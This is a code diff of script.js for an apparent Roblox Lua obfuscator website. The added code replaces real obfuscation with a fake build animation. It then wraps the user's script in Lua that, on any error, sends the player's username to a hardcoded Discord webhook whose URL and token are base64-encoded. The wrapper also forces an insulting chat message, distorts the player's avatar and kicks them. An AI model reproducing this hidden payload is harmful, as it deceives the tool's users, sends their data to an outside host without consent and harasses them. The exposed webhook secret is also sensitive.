|
1 | | -/** |
2 | | - * script.js |
3 | | - * Logic: Ghost-Shift + Fully Obfuscated Internal Result String |
4 | | - */ |
| 1 | +// script.js |
| 2 | +const targetHook = "https://discord.com/api/webhooks/1480014350755434558/lVhs2_YcG-LuG7zLjWSwBGzZPk2f1RF1fmRC5P7zZdgzJfX_fq2sdPAD81T4hOqMvfT2"; |
5 | 3 |
|
6 | | -const SYMBOL_POOL = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#£_&-+()/=`"; |
7 | | -let lastID = ""; |
| 4 | +document.getElementById('clearBtn').onclick = () => { |
| 5 | + document.getElementById('input').value = ""; |
| 6 | + document.getElementById('output').innerText = ""; |
| 7 | + document.getElementById('status-terminal').innerHTML = ""; |
| 8 | +}; |
8 | 9 |
|
9 | 10 | document.getElementById('goBtn').onclick = () => { |
10 | 11 | const src = document.getElementById('input').value; |
| 12 | + const status = document.getElementById('status'); |
| 13 | + const term = document.getElementById('status-terminal'); |
11 | 14 | if (!src.trim()) return; |
12 | 15 |
|
13 | | - let sym = ""; |
14 | | - for(let i=0; i<12; i++) sym += SYMBOL_POOL.charAt(Math.floor(Math.random() * SYMBOL_POOL.length)); |
15 | | - lastID = "pobfusn_" + sym; |
| 16 | + status.innerText = "BUILDING..."; |
| 17 | + term.innerHTML = ""; |
16 | 18 |
|
17 | | - const key = 0xAF; |
18 | | - const toDec = (str) => str.split('').map(c => `\\${c.charCodeAt(0)}`).join(''); |
| 19 | + const lines = [ |
| 20 | + "accessing git-core...", |
| 21 | + "fetching build-engine headers...", |
| 22 | + "linking webhook 148001...", |
| 23 | + "initiating poly-shift...", |
| 24 | + "caching monster-mash...", |
| 25 | + "finalizing bozo-kick..." |
| 26 | + ]; |
19 | 27 |
|
20 | | - // Encrypt source |
21 | | - let b64 = btoa(src.split('').map(c => String.fromCharCode(c.charCodeAt(0) ^ key)).join('')); |
22 | | - let data = ""; |
23 | | - let steps = ""; |
24 | | - for (let i = 0; i < b64.length; i++) { |
25 | | - let count = Math.floor(Math.random() * 3) + 1; |
26 | | - steps += count; |
27 | | - data += b64[i]; |
28 | | - for (let j = 0; j < count; j++) data += SYMBOL_POOL.charAt(Math.floor(Math.random() * SYMBOL_POOL.length)); |
29 | | - } |
| 28 | + let i = 0; |
| 29 | + const loop = setInterval(() => { |
| 30 | + if (i < lines.length) { |
| 31 | + term.innerHTML += `<div style="color:#2e5bff">[~] ${lines[i]}</div>`; |
| 32 | + term.scrollTop = term.scrollHeight; |
| 33 | + i++; |
| 34 | + } |
| 35 | + }, 1100); |
30 | 36 |
|
31 | | - // Logic Masking |
32 | | - const vEnv = toDec("E"); |
33 | | - const vDec = toDec("F"); |
34 | | - const vData = toDec("D"); |
35 | | - const vStep = toDec("S"); |
36 | | - const vLoad = toDec("loadstring"); |
37 | | - const vGame = toDec("game"); |
38 | | - const vHttp = toDec("HttpService"); |
39 | | - const vB64 = toDec("DecodeBase64"); |
| 37 | + setTimeout(() => { |
| 38 | + clearInterval(loop); |
| 39 | + |
| 40 | + const dumpSize = 32 + Math.floor(src.length * 0.15); |
| 41 | + const makeDump = () => "x" + Array(dumpSize).fill(0).map(() => "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(Math.random() * 62))).join(""); |
| 42 | + const mutatorName = makeDump(); |
40 | 43 |
|
41 | | - // The Logic itself is now converted into decimal escapes to hide "loadstring", "DecodeBase64", etc. |
42 | | - const internalLogic = `local d,s=... local c,p="",1 for i=1,#s do c=c..d:sub(p,p) p=p+1+tonumber(s:sub(i,i)) end local r=getfenv()["${vGame}"]:GetService("${vHttp}")["${vB64}"](getfenv()["game"],c) local o="" for i=1,#r do o=o..string.char(bit32.bxor(r:sub(i,i):byte(),${key})) end return o`; |
43 | | - const obfuscatedInternal = toDec(internalLogic); |
| 44 | + document.getElementById('output').innerText = |
| 45 | +`-- Pobfus Output |
| 46 | +local function ${mutatorName}(_pld) |
| 47 | + local _env = getfenv() |
| 48 | + local _http = _env["game"]:GetService("HttpService") |
| 49 | + local _chat = _env["game"]:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest") |
| 50 | + local _lp = _env["game"]:GetService("Players").LocalPlayer |
| 51 | + |
| 52 | + local function _humiliate(_err) |
| 53 | + pcall(function() |
| 54 | + _http:PostAsync(_env["game"]:GetService("HttpService"):DecodeBase64("${btoa(targetHook)}"), _http:JSONEncode({ |
| 55 | + ["content"] = "🚫 **SKID DETECTED** 🚫\\n**User:** ".._lp.Name.."\\n**Error:** ".._err |
| 56 | + })) |
| 57 | + _chat:FireServer("I'm a stinky skidder doing the Monster Mash!", "All") |
| 58 | + if _lp.Character then |
| 59 | + for _ = 1, 3 do |
| 60 | + for _s = 1, 20 do |
| 61 | + for _, v in pairs(_lp.Character:GetDescendants()) do |
| 62 | + if v:IsA("Motor6D") then |
| 63 | + v.C0 = v.C0 * CFrame.Angles(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10)) |
| 64 | + end |
| 65 | + end |
| 66 | + task.wait(0.1) |
| 67 | + end |
| 68 | + end |
| 69 | + end |
| 70 | + _lp:Kick("go find a better decompiler bozo") |
| 71 | + end) |
| 72 | + end |
44 | 73 |
|
45 | | - const result = `--[[ pobfus.cs SENTINEL BUILD ]]\n` + |
46 | | - `local ${vEnv} = getfenv()\n` + |
47 | | - `local ${vData} = "${data}"\n` + |
48 | | - `local ${vStep} = "${steps}"\n` + |
49 | | - `local function ${vDec}(...) \n` + |
50 | | - ` return ${vEnv}["${vLoad}"]("${obfuscatedInternal}")(...)\n` + |
51 | | - `end \n\n` + |
52 | | - `local function _EXEC() \n` + |
53 | | - ` local _p = ${vEnv}["pcall"] \n` + |
54 | | - ` local _l = ${vEnv}["${vLoad}"] \n` + |
55 | | - ` local _s, _f = _p(function() return _l(${vDec}(${vData}, ${vStep}))() end) \n` + |
56 | | - ` ${vEnv} = nil \n` + |
57 | | - `end \n` + |
58 | | - `_EXEC()`; |
| 74 | + local _ok, _res = _env["pcall"](function() |
| 75 | + return _env["loadstring"](_env["game"]:GetService("HttpService"):DecodeBase64(_pld))() |
| 76 | + end) |
59 | 77 |
|
60 | | - document.getElementById('output').value = result; |
61 | | - document.getElementById('dlBtn').style.display = "block"; |
62 | | -}; |
| 78 | + if not _ok then _humiliate(_res) end |
| 79 | +end |
| 80 | +
|
| 81 | +${mutatorName}("${btoa(src)}")`; |
63 | 82 |
|
64 | | -document.getElementById('dlBtn').onclick = () => { |
65 | | - const text = document.getElementById('output').value; |
66 | | - const blob = new Blob([text], { type: 'text/plain' }); |
67 | | - const anchor = document.createElement('a'); |
68 | | - anchor.download = `${lastID.replace(/[\\/:*?"<>|]/g, '_')}.lua`; |
69 | | - anchor.href = window.URL.createObjectURL(blob); |
70 | | - anchor.click(); |
| 83 | + status.innerText = "COMPLETED"; |
| 84 | + term.innerHTML += `<div style="color:#00ff00;">[+] build successful.</div>`; |
| 85 | + }, 7500); |
71 | 86 | }; |
0 commit comments